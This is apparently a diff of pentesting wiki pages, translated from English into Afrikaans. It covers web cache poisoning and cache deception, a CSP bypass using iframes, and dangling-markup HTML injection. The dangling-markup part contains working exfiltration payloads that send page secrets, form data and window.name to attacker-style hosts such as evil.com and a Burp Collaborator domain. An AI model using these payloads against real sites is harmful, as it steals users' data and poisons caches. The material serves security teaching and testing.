Let daarop dat die **cache proxy** moet wees **gekonfigureer** om lêers **te cache** gebaseer op die **uitbreiding** van die lêer (_.css_) en nie gebaseer op die content-type nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` content-type hê in plaas van 'n `text/css` mime tipe (wat verwag word vir 'n _.css_ lêer).
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
Leer hier oor hoe om [Cache Deceptions aanvalle te voer wat HTTP Request Smuggling misbruik](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
## Automatic Tools
## Outomatiese Gereedskap
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang skandeerder om web cache poisoning kwesbaarhede in 'n lys van URL's te vind en verskeie inspuitings tegnieke te toets.
## References
## Verwysings
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
@ -249,10 +237,9 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,42 +3,35 @@
{{#include ../../banners/hacktricks-training.md}}
> [!CAUTION]
> In this page you can find different variations to try to make the **web server respond with errors** to requests that are **valid for the cache servers**
> In hierdie bladsy kan jy verskillende variasies vind om te probeer om die **webbediener te laat reageer met foute** op versoeke wat **geldend is vir die kasbedieners**
- **HTTP Header Oversize (HHO)**
Send a request with a header size larger than the one supported by the web server but smaller than the one supported by the cache server. The web server will respond with a 400 response which might be cached:
Stuur 'n versoek met 'n kopgrootte groter as die een wat deur die webbediener ondersteun word, maar kleiner as die een wat deur die kasbediener ondersteun word. Die webbediener sal met 'n 400-respons reageer wat dalk gekas kan word:
```
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
```
- **HTTP Meta Karakter (HMC) & Onverwagte waardes**
- **HTTP Meta Character (HMC) & Unexpected values**
Send a header that contain some **harmfull meta characters** such as and . In order the attack to work you must bypass the cache first.
Stuur 'n kop wat sommige **skadelike meta karakters** soos en bevat. Ten einde die aanval te laat werk, moet jy eers die cache omseil.
```
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
```
'n Sleg geconfigureerde kop kan net `\:` as 'n kop wees.
A badly configured header could be just `\:` as a header.
This could also work if unexpected values are sent, like an unexpected Content-Type:
Dit kan ook werk as onverwagte waardes gestuur word, soos 'n onverwagte Content-Type:
```
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
```
- **Ongekeyde kop**
- **Unkeyed header**
Some websites will return an error status code if they **see some specific headers i**n the request like with the _X-Amz-Website-Location-Redirect: someThing_ header:
Sommige webwerwe sal 'n foutstatuskode teruggee as hulle **sekere spesifieke koppe in die versoek sien** soos met die _X-Amz-Website-Location-Redirect: someThing_ kop:
```
GET /app.js HTTP/2
Host: redacted.com
@ -49,21 +42,17 @@ Cache: hit
Invalid Header
```
- **HTTP Metode Oorskrywing Aanval (HMO)**
- **HTTP Method Override Attack (HMO)**
If the server supports changing the HTTP method with headers such as `X-HTTP-Method-Override`, `X-HTTP-Method` or `X-Method-Override`. It's possible to request a valid page changing the method so the server doesn't supports it so a bad response gets cached:
As die bediener die verandering van die HTTP-metode met koptekste soos `X-HTTP-Method-Override`, `X-HTTP-Method` of `X-Method-Override` ondersteun. Dit is moontlik om 'n geldige bladsy aan te vra deur die metode te verander sodat die bediener dit nie ondersteun nie, sodat 'n slegte antwoord in die cache gestoor word:
```
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
```
- **Ongekeyde Poort**
- **Unkeyed Port**
If port in the Host header is reflected in the response and not included in the cache key, it's possible to redirect it to an unused port:
As die poort in die Host-kop in die antwoord weerspieël word en nie in die cache-sleutel ingesluit is nie, is dit moontlik om dit na 'n onbenutte poort te herlei:
```
GET /index.html HTTP/1.1
Host: redacted.com:1
@ -72,11 +61,9 @@ HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
```
- **Lang Oorgang DoS**
- **Long Redirect DoS**
Like in the following example, x is not being cached, so an attacker could abuse the redirect response behaviour to make the redirect send a URL so big that it returns an error. Then, people trying to access the URL without the uncached x key will get the error response:
Soos in die volgende voorbeeld, x word nie in die cache gestoor nie, so 'n aanvaller kan die oorgang respons gedrag misbruik om die oorgang 'n URL te laat stuur wat so groot is dat dit 'n fout teruggee. Dan sal mense wat probeer om toegang te verkry tot die URL sonder die ongecacheerde x sleutel die fout respons ontvang:
```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
@ -91,11 +78,9 @@ Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
```
- **Gasheer-kop geval normalisering**
- **Host header case normalization**
The host header should be case insensitive but some websites expect it to be lowercase returning an error if it's not:
Die gasheer-kop moet gevalsensitief wees, maar sommige webwerwe verwag dit om kleinletters te wees en gee 'n fout as dit nie is nie:
```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
@ -105,11 +90,9 @@ Cache:miss
Not Found
```
- **Pad normalisering**
- **Path normalization**
Some pages will return error codes sending data URLencode in the path, however, the cache server with URLdecode the path and store the response for the URLdecoded path:
Sommige bladsye sal foutkode teruggee wat data URLencode in die pad stuur, egter, die cache bediener sal die pad URLdecode en die antwoord vir die URLdecoded pad stoor:
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
@ -120,11 +103,9 @@ Cach:miss
Not Found
```
- **Fat Get**
Some cache servers, like Cloudflare, or web servers, stops GET requests with a body, so this could be abused to cache a invalid response:
Sommige cache bedieners, soos Cloudflare, of web bedieners, stop GET versoeke met 'n liggaam, so dit kan misbruik word om 'n ongeldige antwoord te cache:
```
GET /index.html HTTP/2
Host: redacted.com
@ -136,11 +117,9 @@ xyz
HTTP/2 403 Forbidden
Cache: hit
```
## References
## Verwysings
- [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
- [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,52 +2,51 @@
{{#include ../../banners/hacktricks-training.md}}
This is a summary of the techniques proposed in the post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) in order to perform cache poisoning attacks **abusing discrepancies between cache proxies and web servers.**
Dit is 'n opsomming van die tegnieke wat in die pos [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) voorgestel word om cache poisoning-aanvalle **te benut deur verskille tussen cache-proxies en webbedieners.**
> [!NOTE]
> The goal of this attack is to **make the cache server think that a static resource is being loaded** so it caches it while the cache server stores as cache key part of the path but the web server responds resolving another path. The web server will resolve the real path which will be loading a dynamic page (which might store sensitive information about the user, a malicious payload like XSS or redirecting to lo load a JS file from the attackers website for example).
> Die doel van hierdie aanval is om die **cache-bediener te laat dink dat 'n statiese hulpbron gelaai word** sodat dit dit kas, terwyl die cache-bediener as cache-sleutel 'n deel van die pad stoor, maar die webbediener reageer deur 'n ander pad op te los. Die webbediener sal die werklike pad oplos wat 'n dinamiese bladsy sal laai (wat sensitiewe inligting oor die gebruiker kan stoor, 'n kwaadwillige payload soos XSS of om te herlei om 'n JS-lêer van die aanvaller se webwerf te laai, byvoorbeeld).
## Delimiters
**URL delimiters** vary by framework and server, impacting how requests are routed and responses are handled. Some common origin delimiters are:
**URL-delimiters** verskil volgens raamwerk en bediener, wat die manier waarop versoeke gerouteer en antwoorde hanteer word, beïnvloed. Sommige algemene oorsprong-delimiters is:
- **Semicolon**: Used in Spring for matrix variables (e.g. `/hello;var=a/world;var1=b;var2=c``/hello/world`).
- **Dot**: Specifies response format in Ruby on Rails (e.g. `/MyAccount.css``/MyAccount`)
- **Null Byte**: Truncates paths in OpenLiteSpeed (e.g. `/MyAccount%00aaa``/MyAccount`).
- **Newline Byte**: Separates URL components in Nginx (e.g. `/users/MyAccount%0aaaa``/account/MyAccount`).
- **Puntkomma**: Gebruik in Spring vir matriks veranderlikes (bv. `/hello;var=a/world;var1=b;var2=c``/hello/world`).
- **Punt**: Spesifiseer antwoordformaat in Ruby on Rails (bv. `/MyAccount.css``/MyAccount`)
- **Null Byte**: Verkort paaie in OpenLiteSpeed (bv. `/MyAccount%00aaa``/MyAccount`).
- **Newline Byte**: Skei URL-komponente in Nginx (bv. `/users/MyAccount%0aaaa``/account/MyAccount`).
Other specific delimiters might be found following this process:
Ander spesifieke delimiters kan gevind word deur hierdie proses:
- **Step 1**: Identify non-cacheable requests and use them to monitor how URLs with potential delimiters are handled.
- **Step 2**: Append random suffixes to paths and compare the server's response to determine if a character functions as a delimiter.
- **Step 3**: Introduce potential delimiters before the random suffix to see if the response changes, indicating delimiter usage.
- **Stap 1**: Identifiseer nie-kasbare versoeke en gebruik dit om te monitor hoe URL's met potensiële delimiters hanteer word.
- **Stap 2**: Voeg ewekansige agtervoegsels by paaie en vergelyk die bediener se antwoord om te bepaal of 'n karakter as 'n delimiter funksioneer.
- **Stap 3**: Stel potensiële delimiters in voordat die ewekansige agtervoegsel om te sien of die antwoord verander, wat die gebruik van delimiters aandui.
## Normalization & Encodings
- **Purpose**: URL parsers in both cache and origin servers normalize URLs to extract paths for endpoint mapping and cache keys.
- **Process**: Identifies path delimiters, extracts and normalizes the path by decoding characters and removing dot-segments.
- **Doel**: URL-parsers in beide cache- en oorsprongbedieners normaliseer URL's om paaie vir eindpuntkaarte en cache-sleutels te onttrek.
- **Proses**: Identifiseer pad-delimiters, onttrek en normaliseer die pad deur karakters te dekodeer en punt-segmente te verwyder.
### **Encodings**
Different HTTP servers and proxies like Nginx, Node, and CloudFront decode delimiters differently, leading to inconsistencies across CDNs and origin servers that could be exploited. For example, if the web server perform this transformation `/myAccount%3Fparam``/myAccount?param` but the cache server keeps as key the path `/myAccount%3Fparam`, there is an inconsistency.&#x20;
Verskillende HTTP-bedieners en proxies soos Nginx, Node, en CloudFront dekodeer delimiters anders, wat lei tot inkonsekwentheid oor CDNs en oorsprongbedieners wat uitgebuit kan word. Byvoorbeeld, as die webbediener hierdie transformasie uitvoer `/myAccount%3Fparam``/myAccount?param` maar die cache-bediener hou die pad `/myAccount%3Fparam` as sleutel, is daar 'n inkonsekwentheid.&#x20;
A way to check for these inconsistencies is to send requests URL encoding different chars after loading the path without any encoding and check if the encoded path response came from the cached response.
'n Manier om vir hierdie inkonsekwenthede te kyk, is om versoeke te stuur met URL-kodering van verskillende karakters nadat die pad sonder enige kodering gelaai is en te kyk of die gekodeerde padantwoord van die gekaste antwoord gekom het.
### Dot segment
### Punt-segment
The path normalization where dots are involved is also very interesting for cache poisoning attacks. For example, `/static/../home/index` or `/aaa..\home/index`, some cache servers will cache these paths with themselves ad the keys while other might resolve the path and use `/home/index` as the cache key.\
Just like before, sending these kind of requests and checking if the response was gathered from the cache helps to identify if the response to `/home/index` is the response sent when those paths are requested.
Die padnormalisering waar punte betrokke is, is ook baie interessant vir cache poisoning-aanvalle. Byvoorbeeld, `/static/../home/index` of `/aaa..\home/index`, sommige cache-bedieners sal hierdie paaie met hulself as die sleutels kas, terwyl ander die pad kan oplos en `/home/index` as die cache-sleutel gebruik.\
Net soos voorheen, help dit om hierdie soort versoeke te stuur en te kyk of die antwoord van die cache verkry is om te identifiseer of die antwoord op `/home/index` die antwoord is wat gestuur is wanneer daardie paaie aangevra is.
## Static Resources
## Statiese Hulpbronne
Several cache servers will always cache a response if it's identified as static. This might be because:
Verskeie cache-bedieners sal altyd 'n antwoord kas as dit as staties geïdentifiseer word. Dit kan wees omdat:
- **The extension**: Cloudflare will always cache files with the following extensions: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
- It's possible to force a cache storing a dynamic response by using a delimiter and a static extension like a request to `/home$image.png` will cache `/home$image.png` and the origin server will respond with `/home`
- **Well-known static directories**: The following directories contains static files and therefore their response should be cached: /static, /assets, /wp-content, /media, /templates, /public, /shared
- It's possible to force a cache storing a dynamic response by using a delimiter, a static directory and dots like: `/home/..%2fstatic/something` will cache `/static/something` and the response will be`/home`
- **Static dirs + dots**: A request to `/static/..%2Fhome` or to `/static/..%5Chome` might be cached as is but the response might be `/home`
- **Static files:** Some specific files are always cached like `/robots.txt`, `/favicon.ico`, and `/index.html`. Which can be abused like `/home/..%2Frobots.txt` where the cace might store `/robots.txt` and the origin server respond to `/home`.
- **Die uitbreiding**: Cloudflare sal altyd lêers met die volgende uitbreidings kas: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
- Dit is moontlik om 'n cache te dwing om 'n dinamiese antwoord te stoor deur 'n delimiter en 'n statiese uitbreiding te gebruik, soos 'n versoek na `/home$image.png` wat `/home$image.png` sal kas en die oorsprongbediener sal met `/home` antwoordgee.
- **Welbekende statiese gidse**: Die volgende gidse bevat statiese lêers en daarom moet hul antwoord gekas word: /static, /assets, /wp-content, /media, /templates, /public, /shared
- Dit is moontlik om 'n cache te dwing om 'n dinamiese antwoord te stoor deur 'n delimiter, 'n statiese gids en punte te gebruik, soos: `/home/..%2fstatic/something` wat `/static/something` sal kas en die antwoord sal `/home` wees.
- **Statiese gidse + punte**: 'n Versoek na `/static/..%2Fhome` of na `/static/..%5Chome` kan as is gekas word, maar die antwoord kan `/home` wees.
- **Statiese lêers:** Sommige spesifieke lêers word altyd gekas soos `/robots.txt`, `/favicon.ico`, en `/index.html`. Wat misbruik kan word soos `/home/..%2Frobots.txt` waar die cache dalk `/robots.txt` kan stoor en die oorsprongbediener op `/home` kan antwoordgee.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,19 +1,14 @@
{{#include ../../banners/hacktricks-training.md}}
A configuration such as:
A konfigurasie soos:
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
Verbied die gebruik van enige funksies wat kode uitvoer wat as 'n string oorgedra word. Byvoorbeeld: `eval, setTimeout, setInterval` sal almal geblokkeer word weens die instelling `unsafe-eval`
Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval`
Enige inhoud van eksterne bronne word ook geblokkeer, insluitend beelde, CSS, WebSockets, en, veral, JS
Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS
### Via Text & Images
It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as `favicon.ico` or `robots.txt`, is opened via an `iframe`, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them:
### Deur Tekste & Beelde
Dit word waargeneem dat moderne blaaiers beelde en tekste in HTML omskakel om hul vertoning te verbeter (bv. agtergronde instel, sentreer, ens.). Gevolglik, as 'n beeld of tekslêer, soos `favicon.ico` of `robots.txt`, via 'n `iframe` geopen word, word dit as HTML weergegee. Opmerklik is dat hierdie bladsye dikwels CSP-koptekste ontbreek en mag nie X-Frame-Options insluit nie, wat die uitvoering van arbitrêre JavaScript van hulle moontlik maak:
```javascript
frame = document.createElement("iframe")
frame.src = "/css/bootstrap.min.css"
@ -22,11 +17,9 @@ script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```
### Deur Foute
### Via Errors
Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions:
Op soortgelyke wyse kom foutresponsies, soos tekslêers of beelde, tipies sonder CSP-koptekste en mag X-Frame-Options weglat. Foute kan veroorsaak word om binne 'n iframe te laai, wat die volgende aksies moontlik maak:
```javascript
// Inducing an nginx error
frame = document.createElement("iframe")
@ -40,28 +33,24 @@ document.body.appendChild(frame)
// Generating an error via extensive cookies
for (var i = 0; i < 5; i++) {
document.cookie = i + "=" + "a".repeat(4000)
document.cookie = i + "=" + "a".repeat(4000)
}
frame = document.createElement("iframe")
frame.src = "/"
document.body.appendChild(frame)
// Removal of cookies is crucial post-execution
for (var i = 0; i < 5; i++) {
document.cookie = i + "="
document.cookie = i + "="
}
```
After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows:
Na die ontketening van enige van die genoemde scenario's, is JavaScript-uitvoering binne die iframe haalbaar soos volg:
```javascript
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```
## References
## Verwysings
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,139 +4,114 @@
## Resume
This technique can be use to extract information from a user when an **HTML injection is found**. This is very useful if you **don't find any way to exploit a** [**XSS** ](../xss-cross-site-scripting/)but you can **inject some HTML tags**.\
It is also useful if some **secret is saved in clear text** in the HTML and you want to **exfiltrate** it from the client, or if you want to mislead some script execution.
Hierdie tegniek kan gebruik word om inligting van 'n gebruiker te onttrek wanneer 'n **HTML-inspuiting gevind word**. Dit is baie nuttig as jy **nie 'n manier kan vind om 'n** [**XSS** ](../xss-cross-site-scripting/) te benut nie, maar jy kan **'n paar HTML-tags inspuit**.\
Dit is ook nuttig as 'n **geheim in duidelike teks gestoor is** in die HTML en jy wil dit **uitvoer** van die kliënt, of as jy 'n paar skripuitvoerings wil mislei.
Several techniques commented here can be used to bypass some [**Content Security Policy**](../content-security-policy-csp-bypass/) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...).
Verskeie tegnieke wat hier bespreek word, kan gebruik word om 'n paar [**Content Security Policy**](../content-security-policy-csp-bypass/) te omseil deur inligting op onverwagte maniere te onttrek (html-tags, CSS, http-meta-tags, vorms, basis...).
## Main Applications
### Stealing clear text secrets
If you inject `<img src='http://evil.com/log.cgi?` when the page is loaded the victim will send you all the code between the injected `img` tag and the next quote inside the code. If a secret is somehow located in that chunk, you will steal i t(you can do the same thing using a double quote,take a look which could be more interesting to use).
If the `img` tag is forbidden (due to CSP for example) you can also use `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
As jy `<img src='http://evil.com/log.cgi?` inspuit wanneer die bladsy gelaai word, sal die slagoffer jou al die kode tussen die ingespuite `img`-tag en die volgende aanhaling binne die kode stuur. As 'n geheim op een of ander manier in daardie stuk geleë is, sal jy dit steel (jy kan dieselfde ding doen met 'n dubbele aanhaling, kyk watter meer interessant kan wees om te gebruik).
As die `img`-tag verbied is (weens CSP byvoorbeeld) kan jy ook `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` gebruik.
```html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
Let wel dat **Chrome HTTP-URL's** met "<" of "\n" daarin blokkeer, so jy kan ander protokol skemas soos "ftp" probeer.
Note that **Chrome blocks HTTP URLs** with "<" or "\n" in it, so you could try other protocol schemes like "ftp".
You can also abuse CSS `@import` (will send all the code until it find a ";")
Jy kan ook CSS `@import` misbruik (sal al die kode stuur totdat dit 'n ";" vind)
```html
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
```
You could also use **`<table`**:
U kan ook **`<table`** gebruik.
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
You could also insert a `<base` tag. All the information will be sent until the quote is closed but it requires some user interaction (the user must click in some link, because the base tag will have changed the domain pointed by the link):
U kan ook 'n `<base` tag invoeg. Alle inligting sal gestuur word totdat die aanhaling gesluit is, maar dit vereis 'n bietjie gebruikersinteraksie (die gebruiker moet op 'n skakel klik, omdat die basis tag die domein wat deur die skakel aangedui word, sal verander):
```html
<base target=' <--- Injected
steal me'<b>test</b>
```
### Stealing forms
### Steel vorms
```html
<base href="http://evil.com/" />
```
Dan sal die vorms wat data na die pad stuur (soos `<form action='update_profile.php'>`) die data na die kwaadwillige domein stuur.
Then, the forms that send data to path (like `<form action='update_profile.php'>`) will send the data to the malicious domain.
### Steel vorms 2
### Stealing forms 2
Stel 'n vormkop in: `<form action='http://evil.com/log_steal'>` dit sal die volgende vormkop oorskryf en al die data van die vorm sal na die aanvaller gestuur word.
Set a form header: `<form action='http://evil.com/log_steal'>` this will overwrite the next form header and all the data from the form will be sent to the attacker.
### Stealing forms 3
The button can change the URL where the information of the form is going to be sent with the attribute "formaction":
### Steel vorms 3
Die knoppie kan die URL verander waarheen die inligting van die vorm gestuur gaan word met die attribuut "formaction":
```html
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
I get consumed!
</button>
```
'n Aanvaller kan dit gebruik om die inligting te steel.
An attacker can use this to steal the information.
Vind 'n [**voorbeeld van hierdie aanval in hierdie skrywe**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
Find an [**example of this attack in this writeup**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
### Stealing clear text secrets 2
Using the latest mentioned technique to steal forms (injecting a new form header) you can then inject a new input field:
### Steel duidelike teks geheime 2
Deur die nuutgenoemde tegniek te gebruik om vorms te steel (die invoeging van 'n nuwe vormkop), kan jy dan 'n nuwe invoerveld invoeg:
```html
<input type='hidden' name='review_body' value="
```
en hierdie invoerveld sal al die inhoud tussen sy dubbele aanhalingstekens en die volgende dubbele aanhalingsteken in die HTML bevat. Hierdie aanval meng die "_**Stealing clear text secrets**_" met "_**Stealing forms2**_".
and this input field will contain all the content between its double quote and the next double quote in the HTML. This attack mix the "_**Stealing clear text secrets**_" with "_**Stealing forms2**_".
You can do the same thing injecting a form and an `<option>` tag. All the data until a closed `</option>` is found will be sent:
Jy kan dieselfde doen deur 'n vorm en 'n `<option>`-tag in te voeg. Al die data totdat 'n geslote `</option>` gevind word, sal gestuur word:
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
### Vormparameter-inspuiting
### Form parameter injection
You can change the path of a form and insert new values so an unexpected action will be performed:
Jy kan die pad van 'n vorm verander en nuwe waardes invoeg sodat 'n onverwagte aksie uitgevoer sal word:
```html
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
<form action="/change_settings.php">
← Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> ← Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
<form action="/change_settings.php">
← Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> ← Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>
```
### Dief van duidelike teks geheime via noscript
### Stealing clear text secrets via noscript
`<noscript></noscript>` Is a tag whose content will be interpreted if the browser doesn't support javascript (you can enable/disable Javascript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript)).
A way to exfiltrate the content of the web page from the point of injection to the bottom to an attacker controlled site will be injecting this:
`<noscript></noscript>` Is 'n etiket waarvan die inhoud geïnterpreteer sal word as die blaaier nie javascript ondersteun nie (jy kan Javascript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript) aktiveer/deaktiveer).
'n Manier om die inhoud van die webblad van die punt van inspuiting na die onderkant na 'n aanvaller beheerde webwerf te ekfiltreer, sal wees om dit in te spuit:
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### Om CSP te omseil met gebruikersinteraksie
### Bypassing CSP with user interaction
From this [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) you can learn that even from the **most CSP restricted** environments you can still **exfiltrate data** with some **user interaction**. In this occasion we are going to use the payload:
Van hierdie [portswiggers navorsing](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) kan jy leer dat selfs uit die **meest CSP-beperkte** omgewings jy steeds **data kan uitbring** met 'n bietjie **gebruikersinteraksie**. In hierdie geval gaan ons die payload gebruik:
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Note that you will ask the **victim** to **click on a link** that will **redirect** him to **payload** controlled by you. Also note that the **`target`** attribute inside the **`base`** tag will contain **HTML content** until the next single quote.\
This will make that the **value** of **`window.name`** if the link is clicked is going to be all that **HTML content**. Therefore, as you **control the page** where the victim is accessing by clicking the link, you can access that **`window.name`** and **exfiltrate** that data:
Let wel dat jy die **slagoffer** sal vra om op 'n **skakel** te **klik** wat hom na **payload** wat deur jou beheer word, sal **herlei**. Neem ook kennis dat die **`target`** attribuut binne die **`base`** tag **HTML-inhoud** sal bevat tot die volgende enkele aanhaling.\
Dit sal maak dat die **waarde** van **`window.name`** as die skakel geklik word, al daardie **HTML-inhoud** gaan wees. Daarom, aangesien jy die **bladsy** beheer waar die slagoffer toegang verkry deur op die skakel te klik, kan jy daardie **`window.name`** toegang en daardie data **exfiltreer**:
```html
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Misleidende skrip werkvloei 1 - HTML naamruimte aanval
### Misleading script workflow 1 - HTML namespace attack
Insert a new tag with and id inside the HTML that will overwrite the next one and with a value that will affect the flow of a script. In this example you are selecting with whom a information is going to be shared:
Voeg 'n nuwe etiket met 'n id binne die HTML in wat die volgende een sal oorskryf en met 'n waarde wat die vloei van 'n skrip sal beïnvloed. In hierdie voorbeeld kies jy met wie 'n inligting gedeel gaan word:
```html
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
@ -145,11 +120,9 @@ Share this status update with: ← Legitimate optional element of a dialog
... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
```
### Misleidende skrip werkvloei 2 - Skrip naamruimte aanval
### Misleading script workflow 2 - Script namespace attack
Create variables inside javascript namespace by inserting HTML tags. Then, this variable will affect the flow of the application:
Skep veranderlikes binne javascript naamruimte deur HTML-tags in te voeg. Dan sal hierdie veranderlike die vloei van die aansoek beïnvloed:
```html
<img id="is_public" /> ← Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
@ -157,103 +130,92 @@ The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }
```
### Misbruik van JSONP
### Abuse of JSONP
If you find a JSONP interface you could be able to call an arbitrary function with arbitrary data:
As jy 'n JSONP-koppelvlak vind, kan jy 'n arbitrêre funksie met arbitrêre data aanroep:
```html
<script src='/editor/sharing.js'>: Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: Injected JSONP call
set_sharing({ ... })
set_sharing({ ... })
```
Or you can even try to execute some javascript:
Of jy kan selfs probeer om 'n bietjie javascript uit te voer:
```html
<script src="/search?q=a&call=alert(1)"></script>
```
### Iframe misbruik
### Iframe abuse
A child document possesses the capability to view and modify the `location` property of its parent, even in cross-origin situations. This allows the embedding of a script within an **iframe** that can redirect the client to an arbitrary page:
'n Kind dokument het die vermoë om die `location` eienskap van sy ouer te sien en te wysig, selfs in kruis-oorsprong situasies. Dit stel die insluiting van 'n skrip binne 'n **iframe** in staat om die kliënt na 'n arbitrêre bladsy te herlei:
```html
<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
